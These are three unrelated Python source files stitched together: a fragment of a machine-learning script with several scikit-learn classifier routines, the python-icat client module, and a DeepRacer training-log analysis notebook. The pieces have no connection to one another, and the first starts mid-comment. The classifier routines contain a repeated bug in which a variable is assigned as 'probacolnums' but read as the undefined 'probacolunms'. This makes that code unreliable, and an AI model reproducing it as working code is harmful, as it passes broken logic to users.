hard coded prediction scale save to false to read already saved scaler file #extract and scale columns of data only Xpred,colnamespred,dfinpred=predictioncsv.extract_scale_cols() print('Pred df:',dfinpred.shape) dirsplit,fextsplit=os.path.split(modeldatacsv) fname,fextn=os.path.splitext(fextsplit) if cmdlcv: seed=42 kfold=KFold(n_splits=cmdlcv, random_state=seed) if cmdlclassweight: clf=LogisticRegression(class_weight='balanced') print('Class weight balanced') else: clf=LogisticRegression() results=cross_val_score(clf, X, y, cv=kfold) print ( "Logistic Regression Accuracy: %.3f%% (%.3f%%)" % (results.mean()*100.0, results.std()*100.0)) print('No files will be generated. Re-run without cv option') else: if cmdlclassweight: clf=LogisticRegression(class_weight='balanced') print('Class weight balanced') else: clf=LogisticRegression() clf.fit(X,y) y_clf=clf.predict(Xpred) allprob=clf.predict_proba(Xpred) Xtrain,Xval,ytrain,yval=train_test_split(X,y,test_size=cmdlvalsize, random_state=42) clf.fit(Xtrain, ytrain) yvalpred=clf.predict(Xval) yvalproba=clf.predict_proba(Xval) print('Train Data size: %5d, Validation Data size: %5d'% (len(ytrain),len(yval))) print('Validation Data Accuracy Score: %10.4f' % accuracy_score(yval,yvalpred)) print('Validation Data Log Loss: %10.4f' %log_loss(yval,yvalproba)) ydf=pd.DataFrame({'A':yval.ravel(),'P':yvalpred.ravel()}) print(pd.crosstab(ydf['A'],ydf['P'],rownames=['Actuall'], colnames=['Predicted'])) #print(confusion_matrix(yval.ravel(),yvalpred.ravel())) print(classification_report(yval.ravel(),yvalpred.ravel())) #[(ssa[probacolnames[i]]=allprob[:,i]) for i in range(cmd.qcut)] #add class column before probabilities dfinpred['LRClass']=y_clf for i in range(len(ycolnames)): dfinpred[ycolnames[i]]=allprob[:,i] if cmdlpredictionidcol: dfinpred=predictioncsv.addback_idcols(dfinpred) probacolnums=dfinpred.columns[-len(ycolnames):].tolist() idtargetdf=predictioncsv.idtarget_merge(predicteddf=dfinpred,predicteddfcols=probacolunms) dirsplit,fextsplit=os.path.split(modeldatacsv) fname,fextn=os.path.splitext(fextsplit) for i in range(len(ycolnames)): yw_prob=clf.predict_proba(X)[:,i] if cmdloutdir: pdfcl=os.path.join(cmdloutdir,fname) +"_lgrroc%1d.pdf" % i else: pdfcl=os.path.join(dirsplit,fname) +"_lgrroc%1d.pdf" % i plot_roc_curve(y,yw_prob,i,cmdlhideplot,pdfcl) yw=clf.predict(X) ywproba=clf.predict_proba(X) print('Full Data size: %5d'% len(yw)) print('Full Data Accuracy Score: %10.4f' % accuracy_score(y,yw)) print('Full Data Log Loss: %10.4f' %log_loss(y,ywproba)) ywdf=pd.DataFrame({'A':y.ravel(),'P':yw.ravel()}) print(pd.crosstab(ywdf['A'],ywdf['P'],rownames=['Actuall'], colnames=['Predicted'])) print(classification_report(y.ravel(),yw.ravel())) dfin['predqcodes']=yw #pdfbar=os.path.join(dirsplit,fname) +"_lgrbar.pdf" savefiles(seisf=predictiondatacsv, sdf=dfinpred, wellf=modeldatacsv, wdf=dfin, sxydf=idtargetdf, outdir=cmdloutdir, ssuffix='_slgrg', wsuffix='_wlgrg',name2merge=modeldatacsv) #*************************** def process_GaussianNaiveBayes(modeldatacsv,predictiondatacsv, cmdlmodelcolsrange=None, cmdlmodelcolselect=None, cmdlmodeltargetcol=None, #target column for model csv cmdlmodelidcol=None, #idcolumn for model csv cmdlsamplemodel=None, #sampling of model data cmdlsampleprediction=None, #sampling of prediction data cmdlmodelscalefeatures=True, #scale model data cmdlpredictioncolsrange=None, cmdlpredictioncolselect=None, cmdlpredictionscalefeatures=True, #scale predcition data cmdlmodelscalesave=True, #save model scaler should be true cmdlpredictionscalesave=False, #save prediction scaler should be false to use already saved scaler cmdlkind='standard', cmdlpredictionidcol=None, #id column for prediction csv cmdltargetscale=None, cmdltargetencode=None, cmdlqcut=None, cmdlnqcutclasses=3, cmdlcoded=None, cmdlloadencoder=False, cmdlclassweight=False, cmdlcv=None, cmdlvalsize=0.3, cmdloutdir=None, cmdlhideplot=False): modelcsv=prepcsv(modeldatacsv,idcols=cmdlmodelidcol,targetcol=cmdlmodeltargetcol, colsrange=cmdlmodelcolsrange,colsselect=cmdlmodelcolselect, scalefeatures=cmdlmodelscalefeatures,scaletype=cmdlkind, qcut=cmdlqcut,nqcutclasses=cmdlnqcutclasses, targetencode=cmdltargetencode,coded=cmdlcoded, scalesave=True,sample=cmdlsamplemodel) #I hard coded scalesave to True for model data # returns X data, column names, and dataframe that is scaled X,colnames,dfin=modelcsv.extract_scale_cols() y,ycolnames=modelcsv.extract_target() if cmdlmodelidcol: dfin=modelcsv.addback_idcols(dfin) if cmdlmodeltargetcol: dfin,tcolnum=modelcsv.addback_targetcol(dfin) predictioncsv=prepcsv(predictiondatacsv,idcols=cmdlpredictionidcol,targetcol=None, colsrange=cmdlpredictioncolsrange,colsselect=cmdlpredictioncolselect, scalefeatures=cmdlpredictionscalefeatures,scaletype=cmdlkind, scalesave=False,sample=cmdlsampleprediction) #I hard coded prediction scale save to false to read already saved scaler file #extract and scale columns of data only Xpred,colnamespred,dfinpred=predictioncsv.extract_scale_cols() print('Pred df:',dfinpred.shape) dirsplit,fextsplit=os.path.split(modeldatacsv) fname,fextn=os.path.splitext(fextsplit) if cmdlcv: seed=42 kfold=KFold(n_splits=cmdlcv, random_state=seed) #need to check if there is a class weight option for GaussianNB clf=GaussianNB() results=cross_val_score(clf, X, y, cv=kfold) print ( "Gaussian Naive Bayes Accuracy: %.3f%% (%.3f%%)" % (results.mean()*100.0, results.std()*100.0)) print('No files will be generated. Re-run without cv option') else: clf=GaussianNB() clf.fit(X,y) y_clf=clf.predict(Xpred) allprob=clf.predict_proba(Xpred) Xtrain,Xval,ytrain,yval=train_test_split(X,y,test_size=cmdlvalsize, random_state=42) clf.fit(Xtrain, ytrain) yvalpred=clf.predict(Xval) yvalproba=clf.predict_proba(Xval) print('Train Data size: %5d, Validation Data size: %5d'% (len(ytrain),len(yval))) print('Validation Data Accuracy Score: %10.4f' % accuracy_score(yval,yvalpred)) print('Validation Data Log Loss: %10.4f' %log_loss(yval,yvalproba)) ydf=pd.DataFrame({'A':yval.ravel(),'P':yvalpred.ravel()}) print(pd.crosstab(ydf['A'],ydf['P'],rownames=['Actuall'], colnames=['Predicted'])) #print(confusion_matrix(yval.ravel(),yvalpred.ravel())) print(classification_report(yval.ravel(),yvalpred.ravel())) #add class column before probabilities dfinpred['GNBClass']=y_clf #[(ssa[probacolnames[i]]=allprob[:,i]) for i in range(cmd.qcut)] for i in range(len(ycolnames)): dfinpred[ycolnames[i]]=allprob[:,i] # dirsplit,fextsplit=os.path.split(modeldatacsv) # fname,fextn=os.path.splitext(fextsplit) for i in range(len(ycolnames)): yw_prob=clf.predict_proba(X)[:,i] if cmdloutdir: pdfcl=os.path.join(cmdloutdir,fname) +"_gnbroc%1d.pdf" %i else: pdfcl=os.path.join(dirsplit,fname) +"_gnbroc%1d.pdf" %i plot_roc_curve(y,yw_prob,i,cmdlhideplot,pdfcl) yw=clf.predict(X) ywproba=clf.predict_proba(X) print('Full Data size: %5d'% len(yw)) print('Full Data Accuracy Score: %10.4f' % accuracy_score(y,yw)) print('Full Data Log Loss: %10.4f' %log_loss(y,ywproba)) ywdf=pd.DataFrame({'A':y.ravel(),'P':yw.ravel()}) print(pd.crosstab(ywdf['A'],ywdf['P'],rownames=['Actuall'], colnames=['Predicted'])) print(classification_report(y.ravel(),yw.ravel())) dfin['predqcodes']=yw #pdfbar=os.path.join(dirsplit,fname) +"_gnbbar.pdf" if cmdlpredictionidcol: dfinpred=predictioncsv.addback_idcols(dfinpred) probacolnums=dfinpred.columns[-len(ycolnames):].tolist() idtargetdf=predictioncsv.idtarget_merge(predicteddf=dfinpred,predicteddfcols=probacolunms) savefiles(seisf=predictiondatacsv, sdf=dfinpred, wellf=modeldatacsv, wdf=dfin, sxydf=idtargetdf, outdir=cmdloutdir, ssuffix='_sgnb', wsuffix='_wgnb',name2merge=modeldatacsv) def process_NuSVC(modeldatacsv,predictiondatacsv, cmdlmodelcolsrange=None, cmdlmodelcolselect=None, cmdlmodeltargetcol=None, cmdlmodelidcol=None, cmdlsamplemodel=None, cmdlsampleprediction=None, cmdlmodelscalefeatures=True, cmdlpredictioncolsrange=None, cmdlpredictioncolselect=None, cmdlpredictionscalefeatures=True, cmdlmodelscalesave=True, cmdlpredictionscalesave=False, cmdlkind='standard', cmdlpredictionidcol=None, cmdltargetscale=None, cmdltargetencode=None, cmdlqcut=None, cmdlnqcutclasses=3, cmdlcoded=None, cmdlloadencoder=False, cmdlclassweight=False, cmdlnu=None, cmdlcv=None, cmdlvalsize=0.3, cmdloutdir=None, cmdlhideplot=False): """NuSVC classification.""" modelcsv = prepcsv(modeldatacsv,idcols=cmdlmodelidcol,targetcol=cmdlmodeltargetcol, colsrange=cmdlmodelcolsrange,colsselect=cmdlmodelcolselect, scalefeatures=cmdlmodelscalefeatures,scaletype=cmdlkind, qcut=cmdlqcut,nqcutclasses=cmdlnqcutclasses, targetencode=cmdltargetencode,coded=cmdlcoded, scalesave=True,sample=cmdlsamplemodel) # I hard coded scalesave to True for model data # returns X data, column names, and dataframe that is scaled X,colnames,dfin = modelcsv.extract_scale_cols() y,ycolnames = modelcsv.extract_target() if cmdlmodelidcol: dfin = modelcsv.addback_idcols(dfin) if cmdlmodeltargetcol: dfin,tcolnum = modelcsv.addback_targetcol(dfin) predictioncsv = prepcsv(predictiondatacsv,idcols=cmdlpredictionidcol,targetcol=None, colsrange=cmdlpredictioncolsrange,colsselect=cmdlpredictioncolselect, scalefeatures=cmdlpredictionscalefeatures,scaletype=cmdlkind, scalesave=False,sample=cmdlsampleprediction) # I hard coded prediction scale save to false to read already saved scaler file # extract and scale columns of data only Xpred,colnamespred,dfinpred = predictioncsv.extract_scale_cols() print('Pred df:',dfinpred.shape) dirsplit,fextsplit = os.path.split(modeldatacsv) fname,fextn = os.path.splitext(fextsplit) if cmdlcv: seed = 42 kfold = KFold(n_splits=cmdlcv, random_state=seed) # need to check if there is a class weight option for GaussianNB # clf=QDA() if cmdlclassweight: clf = NuSVC(nu=cmdlnu,class_weight='balanced') else: clf = NuSVC(nu=cmdlnu) results = cross_val_score(clf, X, y, cv=kfold) print("NuSVC Accuracy: %.3f%% (%.3f%%)" % (results.mean() * 100.0, results.std() * 100.0)) print('No files will be generated. Re-run without cv option') else: # clf=QDA() if cmdlclassweight: clf = NuSVC(nu=cmdlnu,class_weight='balanced',probability=True) else: clf = NuSVC(nu=cmdlnu,probability=True) clf.fit(X,y) y_clf = clf.predict(Xpred) allprob = clf.predict_proba(Xpred) Xtrain,Xval,ytrain,yval = train_test_split(X,y,test_size=cmdlvalsize, random_state=42) clf.fit(Xtrain, ytrain) yvalpred = clf.predict(Xval) yvalproba = clf.predict_proba(Xval) print('Train Data size: %5d, Validation Data size: %5d' % (len(ytrain),len(yval))) print('Validation Data Accuracy Score: %10.4f' % accuracy_score(yval,yvalpred)) print('Validation Data Log Loss: %10.4f' % log_loss(yval,yvalproba)) ydf = pd.DataFrame({'A':yval.ravel(),'P':yvalpred.ravel()}) print(pd.crosstab(ydf['A'],ydf['P'],rownames=['Actuall'], colnames=['Predicted'])) # print(confusion_matrix(yval.ravel(),yvalpred.ravel())) print(classification_report(yval.ravel(),yvalpred.ravel())) # add class column before probabilities dfinpred['SVCClass'] = y_clf for i in range(len(ycolnames)): dfinpred[ycolnames[i]] = allprob[:,i] for i in range(len(ycolnames)): yw_prob = clf.predict_proba(X)[:,i] if cmdloutdir: pdfcl = os.path.join(cmdloutdir,fname) + "_svcroc%1d.pdf" % i else: pdfcl = os.path.join(dirsplit,fname) + "_svcroc%1d.pdf" % i plot_roc_curve(y,yw_prob,i,cmdlhideplot,pdfcl) yw = clf.predict(X) ywproba = clf.predict_proba(X) print('Full Data size: %5d' % len(yw)) print('Full Data Accuracy Score: %10.4f' % accuracy_score(y,yw)) print('Full Data Log Loss: %10.4f' % log_loss(y,ywproba)) ywdf = pd.DataFrame({'A':y.ravel(),'P':yw.ravel()}) print(pd.crosstab(ywdf['A'],ywdf['P'],rownames=['Actuall'], colnames=['Predicted'])) print(classification_report(y.ravel(),yw.ravel())) dfin['predqcodes'] = yw # pdfbar=os.path.join(dirsplit,fname) +"_gnbbar.pdf" if cmdlpredictionidcol: dfinpred = predictioncsv.addback_idcols(dfinpred) probacolnums = dfinpred.columns[-len(ycolnames):].tolist() idtargetdf = predictioncsv.idtarget_merge(predicteddf=dfinpred,predicteddfcols=probacolunms) savefiles(seisf=predictiondatacsv, sdf=dfinpred, wellf=modeldatacsv, wdf=dfin, sxydf=idtargetdf, outdir=cmdloutdir, ssuffix='_ssvc', wsuffix='_wsvc',name2merge=modeldatacsv) def process_QuadraticDiscriminantAnalysis(modeldatacsv,predictiondatacsv, cmdlmodelcolsrange=None, cmdlmodelcolselect=None, cmdlmodeltargetcol=None, #target column for model csv cmdlmodelidcol=None, #idcolumn for model csv cmdlsamplemodel=None, #sampling of model data cmdlsampleprediction=None, #sampling of prediction data cmdlmodelscalefeatures=True, #scale model data cmdlpredictioncolsrange=None, cmdlpredictioncolselect=None, cmdlpredictionscalefeatures=True, #scale predcition data cmdlmodelscalesave=True, #save model scaler should be true cmdlpredictionscalesave=False, #save prediction scaler should be false to use already saved scaler cmdlkind='standard', cmdlpredictionidcol=None, #id column for prediction csv cmdltargetscale=None, cmdltargetencode=None, cmdlqcut=None, cmdlnqcutclasses=3, cmdlcoded=None, cmdlloadencoder=False, cmdlclassweight=False, cmdlcv=None, cmdlvalsize=0.3, cmdloutdir=None, cmdlhideplot=False): modelcsv=prepcsv(modeldatacsv,idcols=cmdlmodelidcol,targetcol=cmdlmodeltargetcol, colsrange=cmdlmodelcolsrange,colsselect=cmdlmodelcolselect, scalefeatures=cmdlmodelscalefeatures,scaletype=cmdlkind, qcut=cmdlqcut,nqcutclasses=cmdlnqcutclasses, targetencode=cmdltargetencode,coded=cmdlcoded, scalesave=True,sample=cmdlsamplemodel) #I hard coded scalesave to True for model data # returns X data, column names, and dataframe that is scaled X,colnames,dfin=modelcsv.extract_scale_cols() y,ycolnames=modelcsv.extract_target() if cmdlmodelidcol: dfin=modelcsv.addback_idcols(dfin) if cmdlmodeltargetcol: dfin,tcolnum=modelcsv.addback_targetcol(dfin) predictioncsv=prepcsv(predictiondatacsv,idcols=cmdlpredictionidcol,targetcol=None, colsrange=cmdlpredictioncolsrange,colsselect=cmdlpredictioncolselect, scalefeatures=cmdlpredictionscalefeatures,scaletype=cmdlkind, scalesave=False,sample=cmdlsampleprediction) #I hard coded prediction scale save to
<reponame>MRichards99/python-icat<filename>icat/client.py """Provide the Client class. This is the only module that needs to be imported to use the icat. """ import atexit from distutils.version import StrictVersion as Version import logging import os from pathlib import Path import re import time import urllib.parse from warnings import warn import suds import suds.client import suds.sudsobject from icat.entities import getTypeMap from icat.entity import Entity from icat.exception import * from icat.helper import (simpleqp_unquote, parse_attr_val, ms_timestamp, disable_logger) from icat.ids import * from icat.query import Query from icat.sslcontext import create_ssl_context, HTTPSTransport __all__ = ['Client'] log = logging.getLogger(__name__) def _complete_url(url, default_path="/ICATService/ICAT?wsdl"): if not url: return url o = urllib.parse.urlparse(url) if o.path or o.query: return url return "%s://%s%s" % (o.scheme, o.netloc, default_path) class Client(suds.client.Client): """A client accessing an ICAT service. This is a subclass of :class:`suds.client.Client` and inherits most of its behavior. It adds methods for the instantiation of ICAT entities and implementations of the ICAT API methods. :param url: The URL pointing to the WSDL of the ICAT service. If the URL does not contain a path, e.g. contains only a URL scheme and network location part, a default path is assumend. :type url: :class:`str` :param idsurl: The URL pointing to the IDS service. If set, an :class:`icat.ids.IDSClient` instance will be created. :type idsurl: :class:`str` :param checkCert: Flag whether the server's SSL certificate should be verified if connecting ICAT with HTTPS. :type checkCert: :class:`bool` :param caFile: Path to a file of concatenated trusted CA certificates. If neither `caFile` nor `caPath` is set, the system's default certificates will be used. :type caFile: :class:`str` :param caPath: Path to a directory containing trusted CA certificates. If neither `caFile` nor `caPath` is set, the system's default certificates will be used. :type caPath: :class:`str` :param sslContext: A SSL context describing various SSL options to be used in HTTPS connections. If set, this will override `checkCert`, `caFile`, and `caPath`. :type sslContext: :class:`ssl.SSLContext` :param proxy: HTTP proxy settings. A map with the keys `http_proxy` and `https_proxy` and the URL of the respective proxy to use as values. :type proxy: :class:`dict` :param kwargs: additional keyword arguments that will be passed to :class:`suds.client.Client`, see :class:`suds.options.Options` for details. """ Register = {} """The register of all active clients.""" AutoRefreshRemain = 30 """Number of minutes to leave in the session before automatic refresh should be called. """ @classmethod def cleanupall(cls): """Cleanup all class instances. Call :meth:`~icat.client.Client.cleanup` on all registered class instances, e.g. on all clients that have not yet been cleaned up. """ cl = list(cls.Register.values()) for c in cl: c.cleanup() def _schedule_auto_refresh(self, t=None): now = time.time() if t == "never": # Schedule it very far in the future. This is just to # make sure that self._next_refresh has a formally valid # value. year = 365.25 * (24 * 60 * 60) self._next_refresh = now + year elif t: self._next_refresh = t else: wait = max(self.getRemainingMinutes() - self.AutoRefreshRemain, 0) self._next_refresh = now + 60*wait def __init__(self, url, idsurl=None, checkCert=True, caFile=None, caPath=None, sslContext=None, proxy=None, **kwargs): """Initialize the client. Extend the inherited constructor. Query the API version from the ICAT server and initialize the typemap accordingly. """ self.url = _complete_url(url) self.kwargs = dict(kwargs) self.kwargs['idsurl'] = idsurl self.kwargs['checkCert'] = checkCert self.kwargs['caFile'] = caFile self.kwargs['caPath'] = caPath self.kwargs['sslContext'] = sslContext self.kwargs['proxy'] = proxy idsurl = _complete_url(idsurl, default_path="/ids") if sslContext: self.sslContext = sslContext else: self.sslContext = create_ssl_context(checkCert, caFile, caPath) if not proxy: proxy = {} kwargs['transport'] = HTTPSTransport(self.sslContext, proxy=proxy) super().__init__(self.url, **kwargs) apiversion = str(self.getApiVersion()) # Translate a version having a trailing '-SNAPSHOT' into # something that StrictVersion would accept. apiversion = re.sub(r'-SNAPSHOT$', 'a1', apiversion) self.apiversion = Version(apiversion) log.debug("Connect to %s, ICAT version %s", url, self.apiversion) if self.apiversion < '4.3.0': warn(ClientVersionWarning(self.apiversion, "too old")) self.entityInfoCache = {} self.typemap = getTypeMap(self) self.ids = None self.sessionId = None self.autoLogout = True if idsurl: self.add_ids(idsurl) self._schedule_auto_refresh("never") self.Register[id(self)] = self def __del__(self): """Call :meth:`~icat.client.Client.cleanup`.""" self.cleanup() def cleanup(self): """Release resources allocated by the client. Logout from the active ICAT session (if :attr:`autoLogout` is :const:`True`). The client should not be used any more after calling this method. """ if id(self) in self.Register: if self.autoLogout: self.logout() del self.Register[id(self)] def add_ids(self, url, proxy=None): """Add the URL to an ICAT Data Service.""" if proxy is None: proxy = self.options.proxy idsargs = {} if self.sessionId: idsargs['sessionId'] = self.sessionId idsargs['sslContext'] = self.sslContext if proxy: idsargs['proxy'] = proxy self.ids = IDSClient(url, **idsargs) def __setattr__(self, attr, value): super().__setattr__(attr, value) if attr == 'sessionId' and self.ids: self.ids.sessionId = self.sessionId def clone(self): """Create a clone. Return a clone of the :class:`Client` object. That is, a client that connects to the same ICAT server and has been created with the same kwargs. The clone will be in the state as returned from the constructor. In particular, it does not share the same session if this client object is logged in. :return: a clone of the client object. :rtype: :class:`Client` """ Class = type(self) return Class(self.url, **self.kwargs) def _has_wsdl_type(self, name): """Check if this client's WSDL defines a particular type name. """ with disable_logger("suds.resolver"): return self.factory.resolver.find(name) def new(self, obj, **kwargs): """Instantiate a new :class:`icat.entity.Entity` object. If obj is a string, take it as the name of an instance type. Create a new instance object of this type and lookup the class for the object in the :attr:`typemap` using this type name. If obj is an instance object, look up its class name in the typemap to determine the class. If obj is :const:`None`, do nothing and return :const:`None`. :param obj: either a Suds instance object, a name of an instance type, or :const:`None`. :type obj: :class:`suds.sudsobject.Object` or :class:`str` :param kwargs: attributes passed to the constructor of :class:`icat.entity.Entity`. :return: the new entity object or :const:`None`. :rtype: :class:`icat.entity.Entity` :raise EntityTypeError: if obj is neither a valid instance object, nor a valid name of an entity type, nor None. """ if isinstance(obj, suds.sudsobject.Object): # obj is already an instance, use it right away instance = obj instancetype = instance.__class__.__name__ try: Class = self.typemap[instancetype] except KeyError: raise EntityTypeError("Invalid instance type '%s'." % instancetype) elif isinstance(obj, str): # obj is the name of an instance type, create the instance instancetype = obj try: Class = self.typemap[instancetype] except KeyError: raise EntityTypeError("Invalid instance type '%s'." % instancetype) instance = self.factory.create(instancetype) # The factory creates a whole tree of dummy objects for # all relationships of the instance object and the # relationships of the related objects and so on. These # dummy objects are of no use, discard them. for r in (Class.InstRel | Class.InstMRel): delattr(instance, r) elif obj is None: return None else: raise EntityTypeError("Invalid argument type '%s'." % type(obj)) if Class is None: raise EntityTypeError("Instance type '%s' is not supported." % instancetype) if Class.BeanName is None: raise EntityTypeError("Refuse to create an instance of " "abstract type '%s'." % instancetype) return Class(self, instance, **kwargs) def getEntityClass(self, name): """Return the Entity class corresponding to a BeanName. """ for c in self.typemap.values(): if name == c.BeanName: return c else: raise EntityTypeError("Invalid entity type '%s'." % name) def getEntity(self, obj): """Get the corresponding :class:`icat.entity.Entity` for an object. if obj is a `fieldSet`, return a tuple of the fields. If obj is any other Suds instance object, create a new entity object with :meth:`~icat.client.Client.new`. Otherwise do nothing and return obj unchanged. :param obj: either a Suds instance object or anything. :type obj: :class:`suds.sudsobject.Object` or any type :return: the new entity object or obj. :rtype: :class:`tuple` or :class:`icat.entity.Entity` or any type .. versionchanged:: 0.18.0 add support of `fieldSet`. .. versionchanged:: 0.18.1 changed the return type from :class:`list` to :class:`tuple` in the case of `fieldSet`. """ if obj.__class__.__name__ == 'fieldSet': return tuple(obj.fields) elif isinstance(obj, suds.sudsobject.Object): return self.new(obj) else: return obj # ==================== ICAT API methods ==================== def login(self, auth, credentials): self.logout() cred = self.factory.create("credentials") for k in credentials: cred.entry.append({ 'key': k, 'value': credentials[k] }) try: self.sessionId = self.service.login(auth, cred) except suds.WebFault as e: raise translateError(e) self._schedule_auto_refresh() return self.sessionId def logout(self): if self.sessionId: try: try: self.service.logout(self.sessionId) except suds.WebFault as e: raise translateError(e) finally: self.sessionId = None
<gh_stars>0 # --- # jupyter: # jupytext: # formats: ipynb,py:light # text_representation: # extension: .py # format_name: light # format_version: '1.5' # jupytext_version: 1.7.0 # kernelspec: # display_name: Python 3 # language: python # name: python3 # --- # # Action Space analysis for AWS DeepRacer # This notebook has been built for the [AWS DeepRacer-Analysis](https://github.com/aws-deepracer-community/deepracer-analysis.git) # provided by the [AWS DeepRacer Community](http://join.deepracing.io). # # ## Usage # Copy this Notebook to "work" folder in your allready installed [AWS DeepRacer-Analysis](https://github.com/aws-deepracer-community/deepracer-analysis.git) # # **This notebook isn't complete.** # If you find some bugs, have problems with some tracks or something else # please report to @Kire in [AWS Machine Learning Community](https://aws-ml-community.slack.com) on #Slack # # ## Contributions # As usual, your ideas are very welcome and encouraged so if you have any suggestions either bring them # to [the AWS DeepRacer Community](http://join.deepracing.io) or share as code contributions. # # ## Requirements # Installed [AWS DeepRacer-Analysis](https://github.com/aws-deepracer-community/deepracer-analysis.git) # # ## Credits # I would like to thank [the AWS DeepRacer Community](http://join.deepracing.io) # # # Log Analysis # # Let's get to it. # # ## Imports # # Run the imports block below: # AWS DeepRacer Console # stream_name = 'training-20201115184803-ehYPVaEJRxG-V3oc62Te_Q-robomaker' ## CHANGE This to your simulation application ID time = '202011230653' fname = '../logs/local-%s-robomaker.log' % (time) # The log will be downloaded into the specified path fname # + jupyter={"source_hidden": true} import numpy as np import pandas as pd import matplotlib.pyplot as plt # %matplotlib inline from deepracer.tracks import TrackIO, Track #from deepracer.tracks.track_utils import track_breakdown from deepracer.logs import CloudWatchLogs as cw, \ SimulationLogsIO as slio, \ PlottingUtils as pu,\ AnalysisUtils as au #, \ # ActionBreakdownUtils as abu,\ # NewRewardUtils as nr, \ # Ignore deprecation warnings we have no power over import warnings warnings.filterwarnings('ignore') # - # ## Load waypoints for the track you want to run analysis on # # Remeber that evaluation npy files are a community effort to visualise the tracks in the trainings, they aren't 100% accurate. # # Tracks Available: # + jupyter={"source_hidden": true} tu = TrackIO() for f in tu.get_tracks(): print(f) # - # Take the name from results above and paste below to load the key elements of the track and view the outline of it. # + jupyter={"source_hidden": true} track: Track = tu.load_track("Austin") l_track = track.center_line l_outer_border = track.outer_border l_inner_border = track.inner_border pu.plot_trackpoints(track) # - # ## Get the logs # # Depending on which way you are training your model, you will need a different way to load the data. # # **AWS DeepRacer Console** # The logs are being stored in CloudWatch, in group `/aws/robomaker/SimulationJobs`. You will be using boto3 to download them based on the training ID (stream name prefix). If you wish to bulk export the logs from Amazon Cloudwatch to Amazon S3 :: https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/S3ExportTasks.html # # **DeepRacer for Dummies/ARCC local training** # Those two setups come with a container that runs Jupyter Notebook (as you noticed if you're using one of them and reading this text). Logs are stored in `/logs/` and you just need to point at the latest file to see the current training. The logs are split for long running training if they exceed 500 MB. The log loading method has been extended to support that. # # **<NAME>' repo** # Chris repo doesn't come with logs storage out of the box. I would normally run `docker logs dr > /path/to/logfile` and then load the file. # # Below I have prepared a section for each case. In each case you can analyse the logs as the training is being run, just in case of the Console you may need to force downloading of the logs as the `cw.download_log` method has a protection against needless downloads. # # Select your preferred way to get the logs below and you can get rid of the rest. # + jupyter={"source_hidden": true} # AWS DeepRacer Console #stream_name = 'sim-test' ## CHANGE This to your simulation application ID #fname = 'logs/%s.log' %stream_name # The log will be downloaded into the specified path #cw.download_log(fname, stream_prefix=stream_name) # add force=True if you downloaded the file before but want to repeat # DeepRacer for Dummies / ARCC repository - comment the above and uncomment # the lines below. They rely on a magic command to list log files # ordered by time and pick up the most recent one (index zero). # If you want an earlier file, change 0 to larger value. # # !ls -t /workspace/venv/logs/*.log # fname = !ls -t /workspace/venv/logs/*.log # fname = fname[0] # <NAME>' repository # Use a preferred way of saving the logs to a file , then set an fname value to load it # fname = /path/to/your/log/file # - # ## Load the trace training log # # Now that the data is downloaded, we need to load it into memory. We will first read it from file and then convert to data frames in Pandas. [Pandas](https://pandas.pydata.org/) is a Python library for handling and analysing large amounts of data series. Remember this name, you may want to learn more about how to use it to get more information that you would like to get from the logs. Examples below are hardly scratching the surface. # # One important information to enter is the setting of your Episodes per iteration hyperparameter. This is used to group the episodes into iterations. This information is valuable when later looking at graphs showing how the training progresses per iteration. You can use it to detect which iteration gave you better outcomes and, if in local training, you could move to that iteration's outcome for submissions in the AWS DeepRacer League or for continuing the training. # # The log files you have just gathered above have lines like this one: # ``` # SIM_TRACE_LOG:799,111,1.7594,4.4353,3.0875,-0.26,2.50,2,1.0000,False,True,71.5802,49,17.67,1555554451.1110387 # ``` # This is all that matters for us. The first two are some tests I believe and when loading they get skipped, then each next line has the following fields: # * episode number # * step number # * x coordinate # * y coordinate # * yaw of the car (where the car is heading) # * decision about turning (turn value from your action space) # * decision about throttle (speed value from your action space) # * decision index (value from your action space) # * reward value # * is the car going backwards # * are all wheels on track? # * progress in the lap # * closest waypoint # * track length # * timestamp # # `la.load_data` and then `la.convert_to_pandas` read it and prepare for your usage. Sorting the values may not be needed, but I have experienced under some circumstances that the log lines were not ordered properly. # + jupyter={"source_hidden": true} EPISODES_PER_ITERATION = 20 # Set to value of your hyperparameter in training data = slio.load_data(fname) df = slio.convert_to_pandas(data, episodes_per_iteration=EPISODES_PER_ITERATION) df = df.sort_values(['episode', 'steps']) # personally I think normalizing can mask too high rewards so I am commenting it out, # but you might want it. # slio.normalize_rewards(df) #Uncomment the line of code below to evaluate a different reward function #nr.new_reward(df, l_center_line, 'reward.reward_sample') #, verbose=True) # + jupyter={"source_hidden": true} simulation_agg = au.simulation_agg(df) au.analyze_training_progress(simulation_agg, title='Training progress') # + jupyter={"source_hidden": true} au.scatter_aggregates(simulation_agg, 'Stats for all laps') # + jupyter={"source_hidden": true} complete_ones = simulation_agg[simulation_agg['progress']==100] if complete_ones.shape[0] > 0: au.scatter_aggregates(complete_ones, 'Stats for complete laps') else: print('No complete laps yet.') # - # View five best rewarded in completed laps (according to new_reward if you are using it) complete_ones.nlargest(5, 'reward') # View five most progressed episodes simulation_agg.nlargest(5, 'progress') # View information for a couple last episodes simulation_agg.tail() # + jupyter={"source_hidden": true} # Set maximum quantity of rows to view for a dataframe display - without that # the view below will just hide some of the steps pd.set_option('display.max_rows', 500) # View all steps data for episode 10 df[df['episode']==5520] # - # # Extract Action Space List from LOG file # + jupyter={"source_hidden": true} # Extract Action Space List dgr_norm = 1 # for degrees if df['steer'].max()<2: dgr_norm = 57.6923 # for radians class act(object): def __init__(self, index=None, steer=None, throttle=None, rel_thr=None, color=([0,0,0])): self.index = index self.steer = steer self.throttle = throttle # relative throttle, max = 1 self.rel_thr = rel_thr self.color = color maxThrottle = df.throttle.max() AS = df[df['steps'] != 0].groupby(['action'], as_index=False)['steer','throttle'].median() asl = [None] * AS.shape[0] for i in range(0,AS.shape[0]): j = AS.action[i].astype(int) #asl[AS.action[i].astype(int)] = [AS.action[i].astype(int), round(AS.steer[i]*dgr_norm,2), round(AS.throttle[i],2)] asl[j] = act(j, round(AS.steer[i]*dgr_norm,2), round(AS.throttle[i],2)) asl[j].rel_thr = AS.throttle[i] / maxThrottle cr = 8*max(0,np.sign(asl[j].steer))*abs(asl[j].steer)/255 cg = (0+6*(30-abs(asl[j].steer)))/255 cb = -8*min(0,np.sign(asl[j].steer))*abs(asl[j].steer)/255 asl[AS.action[i].astype(int)].color = ([cr,cg,cb]) asMaxY = maxThrottle + 1 ######################################################### # define some constants for track graphs trkFrame = 50 trkPlotXmin = df.x.min() - trkFrame trkPlotXmax = df.x.max() + trkFrame trkPlotYmin = 